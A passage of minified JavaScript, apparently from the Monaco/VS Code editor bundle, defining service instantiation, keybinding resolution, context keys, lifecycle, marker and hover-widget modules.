(EUC-KR)\",labelShort:\"EUC-KR\",order:40},windows874:{labelLong:\"Thai (Windows 874)\",labelShort:\"Windows 874\",order:41},iso885911:{labelLong:\"Latin/Thai (ISO 8859-11)\",labelShort:\"ISO 8859-11\",order:42},koi8ru:{labelLong:\"Cyrillic (KOI8-RU)\",labelShort:\"KOI8-RU\",order:43},koi8t:{labelLong:\"Tajik (KOI8-T)\",labelShort:\"KOI8-T\",order:44},gb2312:{labelLong:\"Simplified Chinese (GB 2312)\",labelShort:\"GB 2312\",order:45}};!function(e){e[e.FILE=0]=\"FILE\",e[e.FOLDER=1]=\"FOLDER\",e[e.ROOT_FOLDER=2]=\"ROOT_FOLDER\"}(t.FileKind||(t.FileKind={}))}),define(d[84],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];this._entries=new Map;for(var n=0,i=e;n<i.length;n++){var o=i[n],r=o[0],s=o[1];this.set(r,s)}}return e.prototype.set=function(e,t){var n=this._entries.get(e);return this._entries.set(e,t),n},e.prototype.forEach=function(e){this._entries.forEach(function(t,n){return e(n,t)})},e.prototype.has=function(e){return this._entries.has(e)},e.prototype.get=function(e){return this._entries.get(e)},e}();t.ServiceCollection=n}),define(d[413],h([1,0,7,10,29,72,428,187,16,84]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var c=function(){function t(e,t){void 0===e&&(e=new l.ServiceCollection),void 0===t&&(t=!1),this._services=e,this._strict=t,this._services.set(u.IInstantiationService,this)}return t.prototype.createChild=function(e){var n=this;return this._services.forEach(function(t,i){e.has(t)||(i instanceof a.SyncDescriptor&&(i=n._createAndCacheServiceInstance(t,i)),e.set(t,i))}),new t(e,this._strict)},t.prototype.invokeFunction=function(e){for(var t=this,n=[],o=1;o<arguments.length;o++)n[o-1]=arguments[o];var r;try{return r={get:function(e,n){var i=t._getOrCreateServiceInstance(e);if(!i&&n!==u.optional)throw new Error(\"[invokeFunction] unkown service '\"+e+\"'\");return i}},e.apply(void 0,[r].concat(n))}finally{r.get=function(){throw i.illegalState(\"service accessor is only valid during the invocation of its target method\")}}},t.prototype.createInstance=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return e instanceof a.AsyncDescriptor?this._createInstanceAsync(e,t):e instanceof a.SyncDescriptor?this._createInstance(e,t):this._createInstance(new a.SyncDescriptor(e),t)},t.prototype._createInstanceAsync=function(t,o){var r,s=this;return new n.TPromise(function(n,u,l){e([t.moduleName],function(e){if(r&&u(r),!e)return u(i.illegalArgument(\"module not found: \"+t.moduleName));var l;if(\"function\"!=typeof(l=t.ctorName?e[t.ctorName]:e))return u(i.illegalArgument(\"not a function: \"+t.ctorName||t.moduleName));try{o.unshift.apply(o,t.staticArguments()),n(s._createInstance(new a.SyncDescriptor(l),o))}catch(e){return u(e)}},u)},function(){r=i.canceled()})},t.prototype._createInstance=function(e,t){for(var n=e.staticArguments().concat(t),i=u._util.getServiceDependencies(e.ctor).sort(function(e,t){return e.index-t.index}),r=[],s=0,a=i;s<a.length;s++){var l=a[s],c=this._getOrCreateServiceInstance(l.id);if(!c&&this._strict&&!l.optional)throw new Error(\"[createInstance] \"+e.ctor.name+\" depends on UNKNOWN service \"+l.id+\".\");r.push(c)}var d=i.length>0?i[0].index:n.length;if(n.length!==d){console.warn(\"[createInstance] First service dependency of \"+e.ctor.name+\" at position \"+(d+1)+\" conflicts with \"+n.length+\" static arguments\");var h=d-n.length;n=h>0?n.concat(new Array(h)):n.slice(0,d)}var p=[e.ctor];p.push.apply(p,n),p.push.apply(p,r);var f=o.create.apply(null,p);return e._validate(f),f},t.prototype._getOrCreateServiceInstance=function(e){var t=this._services.get(e);return t instanceof a.SyncDescriptor?this._createAndCacheServiceInstance(e,t):t},t.prototype._createAndCacheServiceInstance=function(e,t){function n(){var e=new Error(\"[createInstance] cyclic dependency between services\");throw e.message=i.toString(),e}r.ok(this._services.get(e)instanceof a.SyncDescriptor);for(var i=new s.Graph(function(e){return e.id.toString()}),o=0,l=[{id:e,desc:t}];l.length;){var c=l.pop();i.lookupOrInsertNode(c),o++>100&&n();for(var d=0,h=u._util.getServiceDependencies(c.desc.ctor);d<h.length;d++){var p=h[d],f=this._services.get(p.id);if(f||console.warn(\"[createInstance] \"+e+\" depends on \"+p.id+\" which is NOT registered.\"),f instanceof a.SyncDescriptor){var g={id:p.id,desc:f};i.insertEdge(c,g),l.push(g)}}}for(;;){var m=i.roots();if(0===m.length){0!==i.length&&n();break}for(var v=0,_=m;v<_.length;v++){var y=_[v],C=this._createInstance(y.data.desc,[]);this._services.set(y.data.id,C),i.removeNode(y.data)}}return this._services.get(e)},t}();t.InstantiationService=c}),define(d[414],h([1,0,383,3,36,11]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e,t,n,i){this.toDispose=[],this._contextKeyService=e,this._commandService=t,this._statusService=i,this._messageService=n,this._currentChord=null,this._currentChordStatusMessage=null,this._onDidUpdateKeybindings=new r.Emitter,this.toDispose.push(this._onDidUpdateKeybindings)}return e.prototype.dispose=function(){this.toDispose=i.dispose(this.toDispose)},Object.defineProperty(e.prototype,\"onDidUpdateKeybindings\",{get:function(){return this._onDidUpdateKeybindings?this._onDidUpdateKeybindings.event:r.default.None},enumerable:!0,configurable:!0}),e.prototype.getDefaultKeybindingsContent=function(){return\"\"},e.prototype.getDefaultKeybindings=function(){return this._getResolver().getDefaultKeybindings()},e.prototype.getKeybindings=function(){return this._getResolver().getKeybindings()},e.prototype.customKeybindingsCount=function(){return 0},e.prototype.lookupKeybindings=function(e){return this._getResolver().lookupKeybindings(e).map(function(e){return e.resolvedKeybinding})},e.prototype.lookupKeybinding=function(e){var t=this._getResolver().lookupPrimaryKeybinding(e);return t?t.resolvedKeybinding:null},e.prototype.softDispatch=function(e,t){var n=this.resolveKeyboardEvent(e);if(n.isChord())return console.warn(\"Unexpected keyboard event mapped to a chord\"),null;var i=n.getDispatchParts()[0];if(null===i)return null;var o=this._contextKeyService.getContext(t),r=this._currentChord?this._currentChord.keypress:null;return this._getResolver().resolve(o,r,i)},e.prototype._dispatch=function(e,t){var i=this,r=!1,s=this.resolveKeyboardEvent(e);if(s.isChord())return console.warn(\"Unexpected keyboard event mapped to a chord\"),null;var a=s.getDispatchParts()[0];if(null===a)return r;var u=this._contextKeyService.getContext(t),l=this._currentChord?this._currentChord.keypress:null,c=s.getLabel(),d=this._getResolver().resolve(u,l,a);return d&&d.enterChord?(r=!0,this._currentChord={keypress:a,label:c},this._statusService&&(this._currentChordStatusMessage=this._statusService.setStatusMessage(n.localize(0,null,c))),r):(this._statusService&&this._currentChord&&(d&&d.commandId||(this._statusService.setStatusMessage(n.localize(1,null,this._currentChord.label,c),1e4),r=!0)),this._currentChordStatusMessage&&(this._currentChordStatusMessage.dispose(),this._currentChordStatusMessage=null),this._currentChord=null,d&&d.commandId&&(d.bubble||(r=!0),this._commandService.executeCommand(d.commandId,d.commandArgs||{}).done(void 0,function(e){i._messageService.show(o.default.Warning,e)})),r)},e}();t.AbstractKeybindingService=s}),define(d[46],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Default=1]=\"Default\",e[e.User=2]=\"User\"}(t.KeybindingSource||(t.KeybindingSource={})),t.IKeybindingService=n.createDecorator(\"keybindingService\")}),define(d[159],h([1,0,33,31]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(t,n){this._defaultKeybindings=t,this._defaultBoundCommands=new Map;for(var i=0,o=t.length;i<o;i++){var r=t[i].command;this._defaultBoundCommands.set(r,!0)}this._map=new Map,this._lookupMap=new Map,this._keybindings=e.combine(t,n);for(var i=0,o=this._keybindings.length;i<o;i++){var s=this._keybindings[i];null!==s.keypressFirstPart&&this._addKeyPress(s.keypressFirstPart,s)}}return e._isTargetedForRemoval=function(e,t,n,i,o){if(e.command!==i)return!1;if(t&&e.keypressFirstPart!==t)return!1;if(n&&e.keypressChordPart!==n)return!1;if(o){if(!e.when)return!1;if(!o.equals(e.when))return!1}return!0},e.combine=function(e,t){e=e.slice(0);for(var n=[],i=0,o=t.length;i<o;i++){var r=t[i];if(r.command&&0!==r.command.length&&\"-\"===r.command.charAt(0))for(var s=r.command.substr(1),a=r.keypressFirstPart,u=r.keypressChordPart,l=r.when,c=e.length-1;c>=0;c--)this._isTargetedForRemoval(e[c],a,u,s,l)&&e.splice(c,1);else n.push(r)}return e.concat(n)},e.prototype._addKeyPress=function(t,n){var i=this._map.get(t);if(void 0===i)return this._map.set(t,[n]),void this._addToLookupMap(n);for(var o=i.length-1;o>=0;o--){var r=i[o];if(r.command!==n.command){var s=null!==r.keypressChordPart,a=null!==n.keypressChordPart;s&&a&&r.keypressChordPart!==n.keypressChordPart||e.whenIsEntirelyIncluded(!0,r.when,n.when)&&this._removeFromLookupMap(r)}}i.push(n),this._addToLookupMap(n)},e.prototype._addToLookupMap=function(e){if(e.command){var t=this._lookupMap.get(e.command);void 0===t?(t=[e],this._lookupMap.set(e.command,t)):t.push(e)}},e.prototype._removeFromLookupMap=function(e){var t=this._lookupMap.get(e.command);if(void 0!==t)for(var n=0,i=t.length;n<i;n++)if(t[n]===e)return void t.splice(n,1)},e.whenIsEntirelyIncluded=function(e,t,n){if(e||(t=t?t.normalize():null,n=n?n.normalize():null),!n)return!0;if(!t)return!1;for(var i=t.serialize().split(\" && \"),o=n.serialize().split(\" && \"),r=Object.create(null),s=0,a=i.length;s<a;s++)r[i[s]]=!0;for(var s=0,a=o.length;s<a;s++)if(!r[o[s]])return!1;return!0},e.prototype.getDefaultBoundCommands=function(){return this._defaultBoundCommands},e.prototype.getDefaultKeybindings=function(){return this._defaultKeybindings},e.prototype.getKeybindings=function(){return this._keybindings},e.prototype.lookupKeybindings=function(e){var t=this._lookupMap.get(e);if(void 0===t||0===t.length)return[];for(var n=[],i=0,o=t.length-1;o>=0;o--)n[i++]=t[o];return n},e.prototype.lookupPrimaryKeybinding=function(e){var t=this._lookupMap.get(e);return void 0===t||0===t.length?null:t[t.length-1]},e.prototype.resolve=function(e,t,n){var i=null;if(null!==t){if(void 0===(a=this._map.get(t)))return null;i=[];for(var o=0,r=a.length;o<r;o++){var s=a[o];s.keypressChordPart===n&&i.push(s)}}else{var a=this._map.get(n);if(void 0===a)return null;i=a}var u=this._findCommand(e,i);return u?null===t&&null!==u.keypressChordPart?{enterChord:!0,commandId:null,commandArgs:null,bubble:!1}:{enterChord:!1,commandId:u.command,commandArgs:u.commandArgs,bubble:u.bubble}:null},e.prototype._findCommand=function(t,n){for(var i=n.length-1;i>=0;i--){var o=n[i];if(e.contextMatchesRules(t,o.when))return o}return null},e.contextMatchesRules=function(e,t){return!t||t.evaluate(e)},e.getAllUnboundCommands=function(e){var t=i.CommandsRegistry.getCommands(),o=[];for(var r in t)\"_\"!==r[0]&&0!==r.indexOf(\"vscode.\")&&(\"object\"!=typeof t[r].description||n.isFalsyOrEmpty(t[r].description.args))&&!0!==e.get(r)&&o.push(r);return o},e}();t.KeybindingResolver=o}),define(d[417],h([1,0,3,31,159,19,62,11]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e){for(;e;){if(e.hasAttribute(l))return parseInt(e.getAttribute(l),10);e=e.parentElement}return 0}Object.defineProperty(t,\"__esModule\",{value:!0});var l=\"data-keybinding-context\",c=function(){function e(e,t){this._id=e,this._parent=t,this._value=Object.create(null),this._value._contextId=e}return e.prototype.setValue=function(e,t){return this._value[e]!==t&&(this._value[e]=t,!0)},e.prototype.removeValue=function(e){return delete this._value[e]},e.prototype.getValue=function(e){var t=this._value[e];return void 0===t&&this._parent?this._parent.getValue(e):t},e}();t.Context=c;var d=function(e){function t(t,n,i){var o=e.call(this,t,null)||this;return o._emitter=i,o._subscription=n.onDidUpdateConfiguration(function(e){return o._updateConfigurationContext(n.getConfiguration())}),o._updateConfigurationContext(n.getConfiguration()),o}return f(t,e),t.prototype.dispose=function(){this._subscription.dispose()},t.prototype._updateConfigurationContext=function(e){var t=this;for(var n in this._value)0===n.indexOf(\"config.\")&&delete this._value[n];var i=function(e,n){for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){n.push(o);var r=e[o];if(\"boolean\"==typeof r){var s=n.join(\".\");t._value[s]=r,t._emitter.fire(s)}else\"object\"==typeof r&&i(r,n);n.pop()}};i(e,[\"config\"])},t}(c),h=function(){function e(e,t,n){this._parent=e,this._key=t,this._defaultValue=n,this.reset()}return e.prototype.set=function(e){this._parent.setContext(this._key,e)},e.prototype.reset=function(){void 0===this._defaultValue?this._parent.removeContext(this._key):this._parent.setContext(this._key,this._defaultValue)},e.prototype.get=function(){return this._parent.getContextKeyValue(this._key)},e}(),p=function(){function e(e){this._myContextId=e,this._onDidChangeContextKey=new a.Emitter}return e.prototype.createKey=function(e,t){return new h(this,e,t)},Object.defineProperty(e.prototype,\"onDidChangeContext\",{get:function(){return this._onDidChangeContext||(this._onDidChangeContext=a.debounceEvent(this._onDidChangeContextKey.event,function(e,t){return e?e.indexOf(t)<0&&e.push(t):e=[t],e},25)),this._onDidChangeContext},enumerable:!0,configurable:!0}),e.prototype.createScoped=function(e){return new m(this,this._onDidChangeContextKey,e)},e.prototype.contextMatchesRules=function(e){var t=this.getContextValuesContainer(this._myContextId);return o.KeybindingResolver.contextMatchesRules(t,e)},e.prototype.getContextKeyValue=function(e){return this.getContextValuesContainer(this._myContextId).getValue(e)},e.prototype.setContext=function(e,t){this.getContextValuesContainer(this._myContextId).setValue(e,t)&&this._onDidChangeContextKey.fire(e)},e.prototype.removeContext=function(e){this.getContextValuesContainer(this._myContextId).removeValue(e)&&this._onDidChangeContextKey.fire(e)},e.prototype.getContext=function(e){return this.getContextValuesContainer(u(e))},e}();t.AbstractContextKeyService=p;var g=function(e){function t(t){var n=e.call(this,0)||this;n._toDispose=[],n._lastContextId=0,n._contexts=Object.create(null);var i=new d(n._myContextId,t,n._onDidChangeContextKey);return n._contexts[String(n._myContextId)]=i,n._toDispose.push(i),n}return f(t,e),t.prototype.dispose=function(){this._toDispose=n.dispose(this._toDispose)},t.prototype.getContextValuesContainer=function(e){return this._contexts[String(e)]},t.prototype.createChildContext=function(e){void 0===e&&(e=this._myContextId);var t=++this._lastContextId;return this._contexts[String(t)]=new c(t,this.getContextValuesContainer(e)),t},t.prototype.disposeContext=function(e){delete this._contexts[String(e)]},t=v([y(0,s.IConfigurationService)],t)}(p);t.ContextKeyService=g;var m=function(e){function t(t,n,i){var o=e.call(this,t.createChildContext())||this;return o._parent=t,o._onDidChangeContextKey=n,i&&(o._domNode=i,o._domNode.setAttribute(l,String(o._myContextId))),o}return f(t,e),t.prototype.dispose=function(){this._parent.disposeContext(this._myContextId),this._domNode&&this._domNode.removeAttribute(l)},Object.defineProperty(t.prototype,\"onDidChangeContext\",{get:function(){return this._parent.onDidChangeContext},enumerable:!0,configurable:!0}),t.prototype.getContextValuesContainer=function(e){return this._parent.getContextValuesContainer(e)},t.prototype.createChildContext=function(e){return void 0===e&&(e=this._myContextId),this._parent.createChildContext(e)},t.prototype.disposeContext=function(e){this._parent.disposeContext(e)},t}(p);i.CommandsRegistry.registerCommand(r.SET_CONTEXT_COMMAND_ID,function(e,t,n){e.get(r.IContextKeyService).createKey(String(t),n)})}),define(d[418],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){return function(e,t,n,i,o){if(this.resolvedKeybinding=e,e){var r=e.getDispatchParts(),s=r[0],a=r[1];this.keypressFirstPart=s,this.keypressChordPart=a}else this.keypressFirstPart=null,this.keypressChordPart=null;this.bubble=!!t&&94===t.charCodeAt(0),this.command=this.bubble?t.substr(1):t,this.commandArgs=n,this.when=i,this.isDefault=o}}();t.ResolvedKeybindingItem=n}),define(d[419],h([1,0,40,155]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e){function t(t,n){var i=e.call(this)||this;return i._os=n,null===t?(i._firstPart=null,i._chordPart=null):2===t.type?(i._firstPart=t.firstPart,i._chordPart=t.chordPart):(i._firstPart=t,i._chordPart=null),i}return f(t,e),t.prototype._keyCodeToUILabel=function(e){if(2===this._os)switch(e){case 15:return\"←\";case 16:return\"↑\";case 17:return\"→\";case 18:return\"↓\"}return n.KeyCodeUtils.toString(e)},t.prototype._getUILabelForKeybinding=function(e){return e?e.isDuplicateModifierCase()?\"\":this._keyCodeToUILabel(e.keyCode):null},t.prototype.getLabel=function(){var e=this._getUILabelForKeybinding(this._firstPart),t=this._getUILabelForKeybinding(this._chordPart);return i.UILabelProvider.toLabel(this._firstPart,e,this._chordPart,t,this._os)},t.prototype._getAriaLabelForKeybinding=function(e){return e?e.isDuplicateModifierCase()?\"\":n.KeyCodeUtils.toString(e.keyCode):null},t.prototype.getAriaLabel=function(){var e=this._getAriaLabelForKeybinding(this._firstPart),t=this._getAriaLabelForKeybinding(this._chordPart);return i.AriaLabelProvider.toLabel(this._firstPart,e,this._chordPart,t,this._os)},t.prototype._keyCodeToElectronAccelerator=function(e){if(e>=93&&e<=108)return null;switch(e){case 16:return\"Up\";case 18:return\"Down\";case 15:return\"Left\";case 17:return\"Right\"}return n.KeyCodeUtils.toString(e)},t.prototype._getElectronAcceleratorLabelForKeybinding=function(e){return e?e.isDuplicateModifierCase()?null:this._keyCodeToElectronAccelerator(e.keyCode):null},t.prototype.getElectronAccelerator=function(){if(null!==this._chordPart)return null;var e=this._getElectronAcceleratorLabelForKeybinding(this._firstPart);return i.ElectronAcceleratorLabelProvider.toLabel(this._firstPart,e,null,null,this._os)},t.prototype._getUserSettingsLabelForKeybinding=function(e){return e?e.isDuplicateModifierCase()?\"\":n.KeyCodeUtils.toUserSettingsUS(e.keyCode):null},t.prototype.getUserSettingsLabel=function(){var e=this._getUserSettingsLabelForKeybinding(this._firstPart),t=this._getUserSettingsLabelForKeybinding(this._chordPart),n=i.UserSettingsLabelProvider.toLabel(this._firstPart,e,this._chordPart,t,this._os);return n?n.toLowerCase():n},t.prototype.isWYSIWYG=function(){return!0},t.prototype.isChord=function(){return!!this._chordPart},t.prototype.getParts=function(){return[this._toResolvedKeybindingPart(this._firstPart),this._toResolvedKeybindingPart(this._chordPart)]},t.prototype._toResolvedKeybindingPart=function(e){return e?new n.ResolvedKeybindingPart(e.ctrlKey,e.shiftKey,e.altKey,e.metaKey,this._getUILabelForKeybinding(e),this._getAriaLabelForKeybinding(e)):null},t.prototype.getDispatchParts=function(){return[this._firstPart?t.getDispatchStr(this._firstPart):null,this._chordPart?t.getDispatchStr(this._chordPart):null]},t.getDispatchStr=function(e){if(e.isModifierKey())return null;var t=\"\";return e.ctrlKey&&(t+=\"ctrl+\"),e.shiftKey&&(t+=\"shift+\"),e.altKey&&(t+=\"alt+\"),e.metaKey&&(t+=\"meta+\"),t+=n.KeyCodeUtils.toString(e.keyCode)},t}(n.ResolvedKeybinding);t.USLayoutResolvedKeybinding=o}),define(d[420],h([1,0,7,11,16]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ILifecycleService=o.createDecorator(\"lifecycleService\");!function(e){e[e.CLOSE=1]=\"CLOSE\",e[e.QUIT=2]=\"QUIT\",e[e.RELOAD=3]=\"RELOAD\",e[e.LOAD=4]=\"LOAD\"}(t.ShutdownReason||(t.ShutdownReason={}));var r;!function(e){e[e.NewWindow=1]=\"NewWindow\",e[e.ReloadedWindow=3]=\"ReloadedWindow\",e[e.ReopenedWindow=4]=\"ReopenedWindow\"}(r=t.StartupKind||(t.StartupKind={}));var s;!function(e){e[e.Starting=1]=\"Starting\",e[e.Running=2]=\"Running\",e[e.ShuttingDown=3]=\"ShuttingDown\"}(s=t.LifecyclePhase||(t.LifecyclePhase={})),t.NullLifecycleService={_serviceBrand:null,phase:s.Running,startupKind:r.NewWindow,onDidChangePhase:i.default.None,onWillShutdown:i.default.None,onShutdown:i.default.None},t.handleVetos=function(e,t){if(0===e.length)return n.TPromise.as(!1);for(var i=[],o=!1,r=0,s=e;r<s.length;r++){var a=s[r];if(!0===a)return n.TPromise.as(!0);n.TPromise.is(a)&&i.push(a.then(function(e){e&&(o=!0)},function(e){t(e),o=!0}))}return n.TPromise.join(i).then(function(){return o})}}),define(d[421],h([1,0,33,70,29,11,36]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a;!function(e){e.get=function(e,t,n){if(e[t])return e[t][n]},e.set=function(e,t,n,i){e[t]||(e[t]=Object.create(null)),e[t][n]=i},e.remove=function(e,t,n){return!(!e[t]||!e[t][n]||(delete e[t][n],o.isEmptyObject(e[t])&&delete e[t],0))}}(a||(a={}));var u=function(){function e(e){this.errors=0,this.infos=0,this.warnings=0,this.unknowns=0,this._data=Object.create(null),this._service=e,this._subscription=e.onMarkerChanged(this._update,this)}return e.prototype.dispose=function(){this._subscription.dispose(),this._data=void 0},e.prototype._update=function(e){for(var t=0,n=e;t<n.length;t++){var i=n[t],o=i.toString(),r=this._data[o];r&&this._substract(r);var s=this._resourceStats(i);this._add(s),this._data[o]=s}},e.prototype._resourceStats=function(e){var t={errors:0,warnings:0,infos:0,unknowns:0};if(e.scheme===i.Schemas.inMemory||e.scheme===i.Schemas.walkThrough||e.scheme===i.Schemas.walkThroughSnippet)return t;for(var n=0,o=this._service.read({resource:e});n<o.length;n++){var r=o[n].severity;r===s.default.Error?t.errors+=1:r===s.default.Warning?t.warnings+=1:r===s.default.Info?t.infos+=1:t.unknowns+=1}return t},e.prototype._substract=function(e){this.errors-=e.errors,this.warnings-=e.warnings,this.infos-=e.infos,this.unknowns-=e.unknowns},e.prototype._add=function(e){this.errors+=e.errors,this.warnings+=e.warnings,this.infos+=e.infos,this.unknowns+=e.unknowns},e}(),l=function(){function e(){this._onMarkerChanged=new r.Emitter,this._onMarkerChangedEvent=r.debounceEvent(this._onMarkerChanged.event,e._debouncer,0),this._byResource=Object.create(null),this._byOwner=Object.create(null),this._stats=new u(this)}return e.prototype.dispose=function(){this._stats.dispose()},Object.defineProperty(e.prototype,\"onMarkerChanged\",{get:function(){return this._onMarkerChangedEvent},enumerable:!0,configurable:!0}),e.prototype.getStatistics=function(){return this._stats},e.prototype.remove=function(e,t){if(!n.isFalsyOrEmpty(t))for(var i=0,o=t;i<o.length;i++){var r=o[i];this.changeOne(e,r,void 0)}},e.prototype.changeOne=function(t,i,o){if(n.isFalsyOrEmpty(o)){var r=a.remove(this._byResource,i.toString(),t),s=a.remove(this._byOwner,t,i.toString());if(r!==s)throw new Error(\"invalid marker service state\");r&&s&&this._onMarkerChanged.fire([i])}else{for(var u=[],l=0,c=o;l<c.length;l++){var d=c[l],h=e._toMarker(t,i,d);h&&u.push(h)}a.set(this._byResource,i.toString(),t,u),a.set(this._byOwner,t,i.toString(),u),this._onMarkerChanged.fire([i])}},e._toMarker=function(e,t,n){var i=n.code,o=n.severity,r=n.message,s=n.source,a=n.startLineNumber,u=n.startColumn,l=n.endLineNumber,c=n.endColumn;if(r)return i=i||null,a=a>0?a:1,u=u>0?u:1,l=l>=a?l:a,c=c>0?c:u,{resource:t,owner:e,code:i,severity:o,message:r,source:s,startLineNumber:a,startColumn:u,endLineNumber:l,endColumn:c}},e.prototype.changeAll=function(t,i){var o=[],r=this._byOwner[t];if(r){delete this._byOwner[t];for(var s in r){var u=a.get(this._byResource,s,t)[0];u&&o.push(u.resource),a.remove(this._byResource,s,t)}}if(!n.isFalsyOrEmpty(i)){for(var l=Object.create(null),c=0,d=i;c<d.length;c++){var h=d[c],s=h.resource,p=h.marker,f=e._toMarker(t,s,p);if(f){var g=l[s.toString()];g?g.push(f):(l[s.toString()]=[f],o.push(s))}}for(var s in l)a.set(this._byResource,s,t,l[s]),a.set(this._byOwner,t,s,l[s])}o.length>0&&this._onMarkerChanged.fire(o)},e.prototype.read=function(e){void 0===e&&(e=Object.create(null));var t=e.owner,n=e.resource,i=e.take;if((!i||i<0)&&(i=-1),t&&n)return(d=a.get(this._byResource,n.toString(),t))?d.slice(0,i>0?i:void 0):[];if(t||n){var o=t?this._byOwner[t]:this._byResource[n.toString()];if(!o)return[];d=[];for(var r in o)for(var s=0,u=o[r];s<u.length;s++){var l=u[s],c=d.push(l);if(i>0&&c===i)return d}return d}var d=[];for(var h in this._byResource)for(var p in this._byResource[h])for(var f=0,g=this._byResource[h][p];f<g.length;f++){var l=g[f],c=d.push(l);if(i>0&&c===i)return d}return d},e._debouncer=function(t,n){t||(e._dedupeMap=Object.create(null),t=[]);for(var i=0,o=n;i<o.length;i++){var r=o[i];void 0===e._dedupeMap[r.toString()]&&(e._dedupeMap[r.toString()]=!0,t.push(r))}return t},e}();t.MarkerService=l}),define(d[103],h([1,0,36,16]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){var t=\"\";e.makeKey=function(e){var i=[t];return e.source?i.push(e.source.replace(\"¦\",\"¦\")):i.push(t),e.code?i.push(e.code.replace(\"¦\",\"¦\")):i.push(t),void 0!==e.severity&&null!==e.severity?i.push(n.default.toString(e.severity)):i.push(t),e.message?i.push(e.message.replace(\"¦\",\"¦\")):i.push(t),void 0!==e.startLineNumber&&null!==e.startLineNumber?i.push(e.startLineNumber.toString()):i.push(t),void 0!==e.startColumn&&null!==e.startColumn?i.push(e.startColumn.toString()):i.push(t),void 0!==e.endLineNumber&&null!==e.endLineNumber?i.push(e.endLineNumber.toString()):i.push(t),void 0!==e.endColumn&&null!==e.endColumn?i.push(e.endColumn.toString()):i.push(t),i.push(t),i.join(\"¦\")}}(t.IMarkerData||(t.IMarkerData={})),t.IMarkerService=i.createDecorator(\"markerService\")}),define(d[50],h([1,0,384,7,36,16,53]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.CloseAction=new s.Action(\"close.message\",n.localize(0,null),null,!0,function(){return i.TPromise.as(!0)}),t.LaterAction=new s.Action(\"later.message\",n.localize(1,null),null,!0,function(){return i.TPromise.as(!0)}),t.CancelAction=new s.Action(\"cancel.message\",n.localize(2,null),null,!0,function(){return i.TPromise.as(!0)}),t.IMessageService=r.createDecorator(\"messageService\"),t.IChoiceService=r.createDecorator(\"choiceService\"),t.Severity=o.default}),define(d[71],h([1,0,7,16]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IOpenerService=i.createDecorator(\"openerService\"),t.NullOpenerService=Object.freeze({_serviceBrand:void 0,open:function(){return n.TPromise.as(void 0)}})}),define(d[425],h([1,0,195,196,4,102,71,24,10,122]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var c=function(){function e(e){this._editor=e,this._lineNumber=-1}return e.prototype.setLineNumber=function(e){this._lineNumber=e,this._result=[]},e.prototype.clearResult=function(){this._result=[]},e.prototype.computeSync=function(){for(var e=function(e){return{value:e}},t=this._editor.getLineDecorations(this._lineNumber),n=[],i=0,o=t.length;i<o;i++){var r=t[i];if(r.options.glyphMarginClassName){var s=r.options.glyphMarginHoverMessage;(function(e){return e&&(!Array.isArray(e)||e.length>0)})(s)&&(Array.isArray(s)?n=n.concat(s.map(e)):n.push(e(s)))}}return n},e.prototype.onResult=function(e,t){this._result=this._result.concat(e)},e.prototype.getResult=function(){return this._result},e.prototype.getResultWithLoadingMessage=function(){return this.getResult()},e}(),d=function(e){function t(i,o,r){var a=e.call(this,t.ID,i)||this;return a.openerService=o,a.modeService=r,a.openerService=o||s.NullOpenerService,a._lastLineNumber=-1,a._computer=new c(a._editor),a._hoverOperation=new n.HoverOperation(a._computer,function(e){return a._withResult(e)},null,function(e){return a._withResult(e)}),a}return f(t,e),t.prototype.dispose=function(){this._hoverOperation.cancel(),e.prototype.dispose.call(this)},t.prototype.onModelDecorationsChanged=function(){this.isVisible&&(this._hoverOperation.cancel(),this._computer.clearResult(),this._hoverOperation.start())},t.prototype.startShowingAt=function(e){this._lastLineNumber!==e&&(this._hoverOperation.cancel(),this.hide(),this._lastLineNumber=e,this._computer.setLineNumber(e),this._hoverOperation.start())},t.prototype.hide=function(){this._lastLineNumber=-1,this._hoverOperation.cancel(),e.prototype.hide.call(this)},t.prototype._withResult=function(e){this._messages=e,this._messages.length>0?this._renderMessages(this._lastLineNumber,this._messages):this.hide()},t.prototype._renderMessages=function(e,t){var n=this,i=document.createDocumentFragment();t.forEach(function(e){var t=r.renderMarkedString(e.value,{actionCallback:function(e){return n.openerService.open(a.default.parse(e)).then(void 0,u.onUnexpectedError)},codeBlockRenderer:function(e,t){var i=n.modeService.getModeIdForLanguageName(e);return n.modeService.getOrCreateMode(i).then(function(e){return l.tokenizeToString(t,i)})}});i.appendChild(o.$(\"div.hover-row\",null,t))}),this.updateContents(i),this.showAt(e)},t.ID=\"editor.contrib.modesGlyphHoverWidget\",t}(i.GlyphHoverWidget);t.ModesGlyphHoverWidget=d}),define(d[163],h([1,0,16]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IProgressService=n.createDecorator(\"progressService\"),t.emptyProgress=Object.freeze({report:function(){}});var i=function(){function e(e){this._callback=e}return Object.defineProperty(e.prototype,\"value\",{get:function(){return 